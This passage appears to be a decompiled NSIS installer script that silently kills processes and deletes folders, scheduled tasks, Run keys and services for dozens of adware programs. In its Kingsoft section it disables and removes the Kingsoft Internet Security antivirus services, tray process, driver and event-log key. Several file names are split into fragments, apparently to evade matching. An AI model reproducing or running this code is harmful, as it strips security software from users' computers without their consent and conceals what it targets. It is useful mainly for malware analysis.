; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\innfd_$3.sys 0 label_14234
Delete /REBOOTOK $SYSDIR\drivers\innfd_$3.sys
label_14234:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\innfd_$3.sys 0 label_14241
Delete /REBOOTOK $SYSDIR\drivers\innfd_$3.sys
label_14241:
RMDir /r /REBOOTOK $PROGRAMFILES\$1
label_14242:
IfFileExists $PROGRAMFILES\BonusBerry 0 label_14244
RMDir /r /REBOOTOK $PROGRAMFILES\BonusBerry
label_14244:
IfFileExists $PROGRAMFILES\BBerry 0 label_14273
StrCpy $0 ""
FindFirst $0 $R1 $PROGRAMFILES\BBerry\*.exe
label_14247:
StrCmp $R1 "" label_14255
nsExec::Exec "cmd /k taskkill /IM $\"$R1$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"$R1$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
FindNext $0 $R1
Goto label_14247
label_14255:
FindClose $0
nsExec::Exec "cmd /k taskkill /IM ExtensionUpdaterService.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ExtensionUpdaterService.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for BBerry$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Update Service for BBerry$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"Update Service for BBerry2$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Update Service for BBerry2$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
Sleep 3000
RMDir /r /REBOOTOK $PROGRAMFILES\BBerry
label_14273:
IfFileExists "$PROGRAMFILES\1 Media Player" 0 label_14275
RMDir /r /REBOOTOK "$PROGRAMFILES\1 Media Player"
label_14275:
IfFileExists "$PROGRAMFILES\Media Player Z" 0 label_14289
DeleteRegKey HKLM SYSTEM\ControlSet001\services\sogrMed
DeleteRegKey HKLM SYSTEM\ControlSet001\services\UpdatingServiceMed
nsExec::Exec "cmd /k taskkill /IM ZUpdater.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ZUpdater.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM ZNewVersionDownloader.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ZNewVersionDownloader.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\Media Player Z"
label_14289:
ClearErrors
EnumRegKey $0 HKLM SYSTEM\ControlSet001\services\{a3730592-7b31-4002-9366-8a726171fb7b}Gw64 $0
IfErrors label_14293
DeleteRegKey HKLM SYSTEM\ControlSet001\services\{a3730592-7b31-4002-9366-8a726171fb7b}Gw64
label_14293:
IfFileExists $PROGRAMFILES\MPC-HC\mpc-hc.exe 0 label_14295
RMDir /r /REBOOTOK $PROGRAMFILES\MPC-HC
label_14295:
IfFileExists $DESKTOP\MPC-HC.lnk 0 label_14297
Delete $DESKTOP\MPC-HC.lnk
label_14297:
IfFileExists $APPDATA\Gameo 0 label_14300
DeleteRegValue HKCU Software\Microsoft\Windows\CurrentVersion\Run Gameo
RMDir /r /REBOOTOK $APPDATA\Gameo
label_14300:
StrCpy $0 ""
ClearErrors
ReadRegStr $R0 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Convert$0Ad UninstallString
IfErrors label_14327
Push $R0
Call :label_1768
Pop $R0
Push $R0
Push ""
Push ""
Push $\"
Call :label_1606
Pop $R0
StrCpy $0 ConvertAd.exe
KillProc::FindProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll FindProcesses
StrCmp $1 -1 label_14325
StrCmp $0 0 label_14325
StrCpy $0 ConvertAd.exe
KillProc::KillProcesses
; Call Initialize_____Plugins
; File $PLUGINSDIR\KillProc.dll
; SetDetailsPrint lastused
; CallInstDLL $PLUGINSDIR\KillProc.dll KillProcesses
label_14325:
IfFileExists $R0 0 label_14327
RMDir /r /REBOOTOK $R0
label_14327:
IfFileExists $LOCALAPPDATA\ConvertAd 0 label_14330
DeleteRegKey HKLM SYSTEM\ControlSet001\services\servervo
RMDir /r /REBOOTOK $LOCALAPPDATA\ConvertAd
label_14330:
IfFileExists $LOCALAPPDATA\GamesBot 0 label_14332
RMDir /r /REBOOTOK $LOCALAPPDATA\GamesBot
label_14332:
IfFileExists $APPDATA\GbUpdSrv 0 label_14339
nsExec::Exec "cmd /k taskkill /IM UpdaterService.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM UpdaterService.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $APPDATA\GbUpdSrv
label_14339:
IfFileExists $SYSDIR\config\systemprofile\AppData\Roaming\VOPackage 0 label_14341
RMDir /r /REBOOTOK $SYSDIR\config\systemprofile\AppData\Roaming\VOPackage
label_14341:
IfFileExists $APPDATA\Installer\rotator3.exe 0 label_14343
Delete /REBOOTOK $APPDATA\Installer\rotator3.exe
label_14343:
IfFileExists $APPDATA\mystartsearch 0 label_14345
RMDir /r /REBOOTOK $APPDATA\mystartsearch
label_14345:
IfFileExists $SMSTARTUP\run_ctrl.exe 0 label_14349
Call func_555
Sleep 3000
Delete /REBOOTOK $SMSTARTUP\run_ctrl.exe
label_14349:
IfFileExists $SMSTARTUP\str_up.exe 0 label_14353
Call func_591
Sleep 3000
Delete /REBOOTOK $SMSTARTUP\str_up.exe
label_14353:
IfFileExists $SMSTARTUP\strdup.exe 0 label_14357
Call func_573
Sleep 3000
Delete /REBOOTOK $SMSTARTUP\strdup.exe
label_14357:
IfFileExists $DOCUMENTS\svdhost.exe 0 label_14361
Call func_609
Sleep 3000
Delete /REBOOTOK $DOCUMENTS\svdhost.exe
label_14361:
IfFileExists $DOCUMENTS\swdhost.exe 0 label_14365
Call func_609
Sleep 3000
Delete /REBOOTOK $DOCUMENTS\swdhost.exe
label_14365:
IfFileExists $DOCUMENTS\swhust.exe 0 label_14369
Call func_609
Sleep 3000
Delete /REBOOTOK $DOCUMENTS\swhust.exe
label_14369:
IfFileExists $DOCUMENTS\swshost.exe 0 label_14373
Call func_609
Sleep 3000
Delete /REBOOTOK $DOCUMENTS\swshost.exe
label_14373:
IfFileExists $DOCUMENTS\svshost.exe 0 label_14377
Call func_609
Sleep 3000
Delete /REBOOTOK $DOCUMENTS\svshost.exe
label_14377:
StrCpy $1 svh
StrCpy $2 ost.exe
IfFileExists $DOCUMENTS\$1$2 0 label_14383
Call func_609
Sleep 3000
Delete /REBOOTOK $DOCUMENTS\$1$2
label_14383:
IfFileExists "$PROGRAMFILES\48 dresses\48_dresses_notification_service.exe" 0 label_14390
nsExec::Exec "cmd /k taskkill /IM 48_dresses_notification_service.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM 48_dresses_notification_service.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\48 dresses"
label_14390:
IfFileExists "$PROGRAMFILES\Microsoft Data\*addons.exe" 0 label_14413
StrCpy $1 nstall
nsExec::Exec "cmd /k taskkill /IM I$1Addons.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM I$1Addons.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM i$1_addons.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM i$1_addons.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM extractor.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM extractor.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM i$1er_no_chrome.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM i$1er_no_chrome.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK "$PROGRAMFILES\Microsoft Data"
label_14413:
IfFileExists $APPDATA\Genieo 0 label_14417
DeleteRegValue HKCU Software\Microsoft\Windows\CurrentVersion\Run GenieoSystemTray
DeleteRegValue HKCU Software\Microsoft\Windows\CurrentVersion\Run GenieoUpdaterService
RMDir /r /REBOOTOK $APPDATA\Genieo
label_14417:
IfFileExists $DESKTOP\Genieo.lnk 0 label_14419
Delete $DESKTOP\Genieo.lnk
label_14419:
IfFileExists $APPDATA\omniboxes 0 label_14421
RMDir /r /REBOOTOK $APPDATA\omniboxes
label_14421:
IfFileExists $PROGRAMFILES\iWebar 0 label_14423
RMDir /r /REBOOTOK $PROGRAMFILES\iWebar
label_14423:
IfFileExists $PROGRAMFILES\ShopperPro 0 label_14436
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run SPDriver
nsExec::Exec "cmd /k taskkill /IM jsdrv.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM jsdrv.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn SPDriver /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn SPDriver /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $PROGRAMFILES\ShopperPro
label_14436:
IfFileExists "$PROGRAMFILES64\Common Files\ShopperPro" 0 label_14457
DeleteRegKey HKLM SYSTEM\ControlSet001\services\SPBIUpd
DeleteRegKey HKLM SYSTEM\ControlSet001\services\SPBIUpdd
DeleteRegKey HKLM SYSTEM\ControlSet001\services\SPDRIVER_1535.0.0.0
StrCpy $0 spbiu
nsExec::Exec "cmd /k taskkill /IM $0.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $0.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn ShopperProJSUpd /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn ShopperProJSUpd /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn ShopperPro /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn ShopperPro /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK "$PROGRAMFILES64\Common Files\ShopperPro"
label_14457:
IfFileExists "$PROGRAMFILES\YouTube Accelerator" 0 label_14497
nsExec::Exec "cmd /k taskkill /IM YouTubeAccelerator.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM YouTubeAccelerator.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM YouTubeAcceleratorService.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM YouTubeAcceleratorService.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\vde1ntk1
DeleteRegKey HKLM HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\ute1ntk1
DeleteRegKey HKLM SYSTEM\ControlSet001\services\YouTubeAcceleratorService
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run GoobzoYouTubeAccelerator
nsExec::ExecToStack "schtasks /delete /tn YTAUpdate_logon /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn YTAUpdate_logon /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn YTAUpdate /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn YTAUpdate /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn Inst_Rep /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn Inst_Rep /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
Delete /REBOOTOK "$PROGRAMFILES\YouTube Accelerator\YouTubeAccelerator.exe"
Delete /REBOOTOK "$PROGRAMFILES\YouTube Accelerator\YouTubeAcceleratorService.exe"
IfFileExists $TEMP\SAINST 0 label_14491
RMDir /r /REBOOTOK $TEMP\SAINST
label_14491:
IfFileExists "$PROGRAMFILES\YouTube Accelerator\UNWISE.EXE" 0 label_14498
nsExec::Exec "cmd /k cd $\"$PROGRAMFILES\YouTube Accelerator$\" & UNWISE.EXE /S INSTALL.LOG"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k cd $\"$PROGRAMFILES\YouTube Accelerator$\" & UNWISE.EXE /S INSTALL.LOG"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
label_14497:
IfFileExists $PROGRAMFILES\YTAHelper 0 label_14499
label_14498:
RMDir /r /REBOOTOK $PROGRAMFILES\YTAHelper
label_14499:
IfFileExists $PROGRAMFILES\SensePlus 0 label_14501
RMDir /r /REBOOTOK $PROGRAMFILES\SensePlus
label_14501:
IfFileExists $PROGRAMFILES\YTDownloader 0 label_14504
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run YTDownloader
RMDir /r /REBOOTOK $PROGRAMFILES\YTDownloader
label_14504:
IfFileExists "$PROGRAMFILES\SavePass 1.1" 0 label_14506
RMDir /r /REBOOTOK "$PROGRAMFILES\SavePass 1.1"
label_14506:
IfFileExists $PROGRAMFILES\Sense 0 label_14508
RMDir /r /REBOOTOK $PROGRAMFILES\Sense
label_14508:
IfFileExists $PROGRAMFILES\Ge-Force 0 label_14510
RMDir /r /REBOOTOK $PROGRAMFILES\Ge-Force
label_14510:
IfFileExists $PROGRAMFILES\HQ-Video-Pro* 0 label_14522
StrCpy $0 0
label_14512:
EnumRegKey $1 HKCU Software\AppDataLow\Software $0
StrCmp $1 "" label_14522
IntOp $0 $0 + 1
ClearErrors
Push $1
Push HQ-Video-Pro
Call :label_405
Pop $R3
IfErrors label_14512
RMDir /r /REBOOTOK $PROGRAMFILES\$1
label_14522:
IfFileExists "$PROGRAMFILES\HQCinema Pro*" 0 label_14534
StrCpy $0 0
label_14524:
EnumRegKey $1 HKLM Software $0
StrCmp $1 "" label_14534
IntOp $0 $0 + 1
ClearErrors
Push $1
Push "HQCinema Pro"
Call :label_405
Pop $R3
IfErrors label_14524
RMDir /r /REBOOTOK $PROGRAMFILES\$1
label_14534:
IfFileExists "$PROGRAMFILES\HQVideo Go Pro*" 0 label_14543
StrCpy $0 ""
FindFirst $0 $R1 "$PROGRAMFILES\HQVideo Go Pro*"
label_14537:
StrCmp $R1 "" label_14542
IfFileExists $PROGRAMFILES\$R1 0 label_14540
RMDir /r /REBOOTOK $PROGRAMFILES\$R1
label_14540:
FindNext $0 $R1
Goto label_14537
label_14542:
FindClose $0
label_14543:
IfFileExists "$PROGRAMFILES\HQ Video*" 0 label_14552
StrCpy $0 ""
FindFirst $0 $R1 "$PROGRAMFILES\HQ Video*"
label_14546:
StrCmp $R1 "" label_14551
IfFileExists $PROGRAMFILES\$R1 0 label_14549
RMDir /r /REBOOTOK $PROGRAMFILES\$R1
label_14549:
FindNext $0 $R1
Goto label_14546
label_14551:
FindClose $0
label_14552:
IfFileExists "$PROGRAMFILES\HQ Cinema Video*" 0 label_14564
StrCpy $0 0
label_14554:
EnumRegKey $1 HKLM Software $0
StrCmp $1 "" label_14564
IntOp $0 $0 + 1
ClearErrors
Push $1
Push "HQ Cinema Video"
Call :label_405
Pop $R3
IfErrors label_14554
RMDir /r /REBOOTOK $PROGRAMFILES\$1
label_14564:
IfFileExists $PROGRAMFILES\CinemaP* 0 label_14572
StrCpy $0 ""
FindFirst $0 $R1 $PROGRAMFILES\CinemaP*
label_14567:
StrCmp $R1 "" label_14571
RMDir /r /REBOOTOK $PROGRAMFILES\$R1
FindNext $0 $R1
Goto label_14567
label_14571:
FindClose $0
label_14572:
IfFileExists "$PROGRAMFILES\Cinema Plus Pro*" 0 label_14581
StrCpy $0 ""
FindFirst $0 $R1 "$PROGRAMFILES\Cinema Plus Pro*"
label_14575:
StrCmp $R1 "" label_14580
IfFileExists $PROGRAMFILES\$R1 0 label_14578
RMDir /r /REBOOTOK $PROGRAMFILES\$R1
label_14578:
FindNext $0 $R1
Goto label_14575
label_14580:
FindClose $0
label_14581:
IfFileExists $PROGRAMFILES\SmartSaver* 0 label_14593
StrCpy $0 0
label_14583:
EnumRegKey $1 HKLM Software $0
StrCmp $1 "" label_14583
IntOp $0 $0 + 1
ClearErrors
Push $1
Push SmartSaver+
Call :label_405
Pop $R3
IfErrors label_14583
RMDir /r /REBOOTOK $PROGRAMFILES\$1
label_14593:
IfFileExists $PROGRAMFILES\kingsoft 0 label_14654
nsExec::Exec "cmd /k reg delete $\"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run$\" /v $\"kxesc$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k reg delete $\"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run$\" /v $\"kxesc$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k sc config KDHacker start= disabled"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k sc config KDHacker start= disabled"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k sc config kisnetm start= disabled"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k sc config kisnetm start= disabled"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k sc config ksapi64 start= disabled"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k sc config ksapi64 start= disabled"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k sc config KUsbGuard start= disabled"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k sc config KUsbGuard start= disabled"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k sc config kxescore start= disabled"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k sc config kxescore start= disabled"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM kxescore.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM kxescore.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM kxetray.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM kxetray.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\KDHacker
DeleteRegKey HKLM SYSTEM\ControlSet001\services\kisnetm
DeleteRegKey HKLM SYSTEM\ControlSet001\services\ksapi64
DeleteRegKey HKLM SYSTEM\ControlSet001\services\KUsbGuard
DeleteRegKey HKLM SYSTEM\ControlSet001\services\kxescore
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run kxesc
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\eventlog\Kingsoft Internet Security"
RMDir /r /REBOOTOK $PROGRAMFILES\kingsoft
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\ksapi64.sys 0 label_14649
Delete /REBOOTOK $SYSDIR\drivers\ksapi64.sys
label_14649:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
label_14654:
IfFileExists $PROGRAMFILES\BrowserApp* 0 label_14662
StrCpy $0 ""
FindFirst $0 $R1 $PROGRAMFILES\BrowserApp*
label_14657:
StrCmp $R1 "" label_14661
RMDir /r /REBOOTOK $PROGRAMFILES\$R1
FindNext $0 $R1
Goto label_14657
label_14661:
FindClose $0
label_14662:
IfFileExists $PROGRAMFILES\PrIceLiEsus 0 label_14664
RMDir /r /REBOOTOK $PROGRAMFILES\PrIceLiEsus
label_14664:
IfFileExists $APPDATA\CoupSeek 0 label_14677
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run CoupSeek
nsExec::Exec "cmd /k taskkill /IM scpsk.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM scpsk.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM pecpsk.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM pecpsk.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $APPDATA\CoupSeek
label_14677:
IfFileExists "$DESKTOP\Èñêàòü â Èíòåðíåòå.url" 0 label_14679
Delete "$DESKTOP\Èñêàòü â Èíòåðíåòå.url"
label_14679:
IfFileExists $LOCALAPPDATA\WikiUpdate.exe 0 label_14687
DeleteRegKey HKLM SYSTEM\ControlSet001\services\WikiBrowserUpdateService
nsExec::Exec "cmd /k taskkill /IM WikiUpdate.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM WikiUpdate.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
Delete /REBOOTOK $LOCALAPPDATA\WikiUpdate.exe
label_14687:
IfFileExists "$DESKTOP\Èãðàòü â World of Tanks.lnk" 0 label_14689
Delete "$DESKTOP\Èãðàòü â World of Tanks.lnk"
label_14689:
IfFileExists "$PROGRAMFILES\Gaming Companion" 0 label_14701
nsExec::Exec "cmd /k taskkill /IM gaming_companion_helper_service.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM gaming_companion_helper_service.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"gaming_companion_helper_service$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"gaming_companion_helper_service$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK "$PROGRAMFILES\Gaming Companion"
label_14701:
StrCpy $5 ""
ClearErrors
EnumRegKey $0 HKCU Software\Cross$5browse $0
IfErrors label_14714
StrCpy $0 0
label_14706:
EnumRegKey $1 HKCU Soft$5ware $0
StrCmp $1 "" label_14714
IntOp $0 $0 + 1
IfFileExists $APPDATA\$1.exe 0 label_14713
IfFileExists $APPDATA\$1 0 label_14713
Delete /REBOOTOK $APPDATA\$1.exe
Delete /REBOOTOK $APPDATA\$1
label_14713:
Goto label_14706
label_14714:
IfFileExists $PROGRAMFILES\OneSystemCare 0 label_14741
nsExec::Exec "cmd /k taskkill /IM OneSystemCare.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM OneSystemCare.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM CleanupConsole.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM CleanupConsole.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"One System Care Monitor$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"One System Care Monitor$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"One System CarePeriod$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"One System CarePeriod$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"One System CareStartUp$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"One System CareStartUp$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $PROGRAMFILES\OneSystemCare
label_14741:
IfFileExists $APPDATA\SetMyHomePage 0 label_14749
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run SetMyHomePage
nsExec::Exec "cmd /k taskkill /IM setmyhomepage.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM setmyhomepage.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $APPDATA\SetMyHomePage
label_14749:
IfFileExists "$PROGRAMFILES\Shop and Save Up" 0 label_14751
RMDir /r /REBOOTOK "$PROGRAMFILES\Shop and Save Up"
label_14751:
IfFileExists "$PROGRAMFILES\Shop Master" 0 label_14763
nsExec::Exec "cmd /k taskkill /IM shop_master_helper_service.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM shop_master_helper_service.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"shop_master_helper_service$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"shop_master_helper_service$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK "$PROGRAMFILES\Shop Master"
label_14763:
IfFileExists "$PROGRAMFILES\Shop til Drop" 0 label_14775
nsExec::Exec "cmd /k taskkill /IM shop_til_drop_helper_service.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM shop_til_drop_helper_service.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"shop_til_drop_helper_service$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"shop_til_drop_helper_service$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK "$PROGRAMFILES\Shop til Drop"
label_14775:
IfFileExists "$PROGRAMFILES\Cool getWeather" 0 label_14777
RMDir /r /REBOOTOK "$PROGRAMFILES\Cool getWeather"
label_14777:
